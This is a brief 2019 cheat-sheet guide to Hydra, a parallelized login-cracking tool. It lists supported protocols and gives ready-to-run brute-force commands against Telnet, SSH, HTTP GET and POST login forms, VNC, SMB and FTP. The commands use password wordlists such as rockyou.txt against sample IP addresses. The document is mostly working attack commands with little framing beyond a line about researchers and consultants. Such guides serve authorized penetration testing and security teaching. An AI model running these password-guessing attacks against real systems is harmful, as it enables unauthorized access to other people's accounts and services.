Guide - Hydra

H3xFiles
Twitter: @MindwarelabBot
www.mindwarelab.org

September 2019

The Lernaean Hydra or Hydra of Lerna (Lernaîa Hýdra), more often known simply as the Hydra, is a serpentine water monster in Greek and Roman mythology.

Contents

1 Introduction

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

Support

```
Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET,
    HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ,
    IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle
    SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin,
     Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH
     (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet,
    VMware-Auth, VNC and XMPP.
```

2 Installation

```
sudo apt-get install hydra
```

3 Protocols

3.1 Telnet

```
hydra -l <username> -P <password_file> telnet://targetname
```

3.2 SSH

```
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt
     -t 6 ssh://192.168.1.123
```

3.3 Get Requests

```
hydra -l username -p wordlist -t thread -vV -e ns -f IP http-get /
    admin/index.php
```

3.4 Post request

```
-l indicates a single username (use -L for a username list)
-P indicates use the following password list
http-post-form indicates the type of form
/dvwa/login-php is the login page URL
username is the form field where the username is entered
^USER^ tells Hydra to use the username or list in the field
password is the form field where the password is entered (it may be
     passwd, pass, etc.)
^PASS^ tells Hydra to use the password list supplied
Login indicates to Hydra the login failed message
Login failed is the login failure message that the form returned
-V is for verbose output showing every attempt
-s PORT   if the service is on a different default port, define it
    here
```

Example

```
Layout of command: hydra -L <USER> -P <Password> <IP Address> http-
    post-form    <Login Page>:<Request Body>:<Error Message>
```

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.1 http
    -post-form "/:password=^PASS^:Invalid password!" -s 4004
```

3.5 VNC

```
hydra -P passwordlist -t 1 -w 5 -f -s 5901 192.168.100.155 vnc -v
```

3.6 SMB

```
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt
    192.168.1.118 smb
```

3.7 FTP

```
hydra IP ftp -l username -P wordlist -e ns -vV
```

References

[1] Cheatsheet
https://github.com/frizb/Hydra-Cheatsheet

[2] Article one
https://www.hackingarticles.in/5-ways-to-hack-smb-login-password/